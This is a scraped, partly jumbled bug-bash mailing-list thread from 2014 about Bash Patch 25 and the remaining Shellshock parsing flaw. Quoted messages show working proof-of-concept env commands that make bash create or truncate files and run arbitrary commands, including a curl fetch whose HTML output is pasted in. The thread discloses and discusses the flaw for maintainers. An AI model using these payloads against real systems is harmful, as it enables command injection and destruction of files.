bash: VAR: line 1: syntax error near unexpected token `='
bash: VAR: line 1: `'
bash: error importing function definition for `VAR'
$ cat {
Hello World }
OTOH, had we used bash -c foo.sh, it would have removed the script
contents (truncated to 0 bytes).
Re: Bash-4.3 Official Patch 25
Also, you can embed arguments, allowing for arbitrary execution:
$ env -i X='() { (a)=\' bash -c 'echo curl -s https://bugzilla.redhat.com/';
head echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
!DOCTYPE html PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN
http://www.w3.org/TR/html4/loose.dtd;
html lang=en
head
titleRed Hat Bugzilla Main Page/title
meta http-equiv=Content-Type content=text/html; charset=utf-8
meta name=verify-v1
content=1hLjVPyIYh2cX7CL+s5A0k6pKt2FRq7/FSQ/cqGi9J8=
meta name=y_key content=1cdf458efae704ba
meta http-equiv=Content-Type content=text/html; charset=UTF-8
On Wed, Sep 24, 2014 at 6:44 PM, Ángel González an...@16bits.net wrote:
Eric Blake wrote:
https://bugzilla.redhat.com/show_bug.cgi?id=1141597 describes this bug
(aka CVE-2014-6271), and points out that even _with_ this patch, there
is still a flaw that attackers can use to overwrite portions of the
filesystem, which is also a possible exploitation avenue:
$ ls -l date
ls: cannot access date: No such file or directory
$ env -i X='() { (a)=\' bash -c 'date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ ls -l date
-rw---. 1 taviso taviso 0 Sep 24 14:06 date
It doesn't just create 0-sized files:
$ echo { echo 'Hello World' } foo.sh
$ VAR='() { (a) =\' bash foo.sh
bash: VAR: line 1: syntax error near unexpected token `='
bash: VAR: line 1: `'
bash: error importing function definition for `VAR'
$ cat {
Hello World }
OTOH, had we used bash -c foo.sh, it would have removed the script
contents (truncated to 0 bytes).
Re: Bash-4.3 Official Patch 25
Bash-Release:4.3 Patch-ID:bash43-025 As a binary distribution archive maintainer, I'd be keen to see the authors distributing a cumulative bash-4.3p025.tar.gz source bundle (probably p026 to nail the new issues above). The ftp://ftp.cwru.edu/pub/bash site just has the main 4.3 file and 25 separate patches to merge. ta++
Re: Bash-4.3 Official Patch 25
On Wed, 24 Sep 2014, m...@ibiblio.org wrote: Bash-Release:4.3 Patch-ID:bash43-025 As a binary distribution archive maintainer, I'd be keen to see the authors distributing a cumulative bash-4.3p025.tar.gz source bundle (probably p026 to nail the new issues above). The ftp://ftp.cwru.edu/pub/bash site just has the main 4.3 file and 25 separate patches to merge. A downloadable tar file of the current version with all official patches applied is available from savannah. http://git.savannah.gnu.org/cgit/bash.git/snapshot/bash-master.tar.gz -- Chris F.A. Johnson, http://cfajohnson.com
